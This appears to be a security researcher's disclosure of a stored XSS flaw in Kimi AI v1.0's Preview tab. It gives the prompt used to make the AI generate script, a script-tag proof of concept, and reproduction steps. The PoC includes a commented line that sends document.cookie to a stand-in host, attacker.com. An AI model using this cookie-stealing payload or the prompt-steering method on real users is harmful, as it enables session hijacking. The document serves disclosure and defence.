
Detailed disclosure of a stored XSS vulnerability in Kimi AI v1.0's Preview tab, including attack scenario, PoC, and remediation guidance for security researchers.
A Cross-Site Scripting (XSS) vulnerability exists in the Kimi AI v1.0 web interface's 'Preview' feature. The application fails to properly sanitize or encode HTML/JavaScript payloads generated by the AI model. When a user switches to the 'Preview' tab to view AI-generated code, the malicious payload is rendered directly into the DOM, leading to arbitrary JavaScript execution in the victim's browser session.
Mustafa Hameed
The vulnerability can be exploited by prompting the AI to generate a security tool or script (e.g., an automated XSS scanner similar to XSStrike) that contains built-in payloads. The AI generates the requested application source code but embeds the malicious payload within the HTML/JavaScript framework. When the victim navigates to the 'Preview' tab to test or view the generated tool, the embedded malicious payload bypasses sanitization and executes immediately.
"Create a simple web-based XSS scanner tool similar to XSStrike. Include an interface with a list of payloads for scanning."
<script>
alert('mustafa');
// Potential for malicious action: fetch('http://attacker.com/log?cookie=' + document.cookie)
</script>
1.Log in to the Kimi AI web platform.
2.Provide the prompt requesting the creation of a tool (like the XSStrike clone) containing the scanner code.
3.Wait for the AI model to fully generate the code response.
4.Click on the 'Preview' tab in the chat interface to view the rendered application.
5.The application fails to filter the JavaScript context within the preview container, triggering immediate execution of the script in the victim's browser.
Below is the screenshot demonstrating the successful execution of the XSS payload. The malicious JavaScript triggers immediately when navigating to the 'Preview' tab:
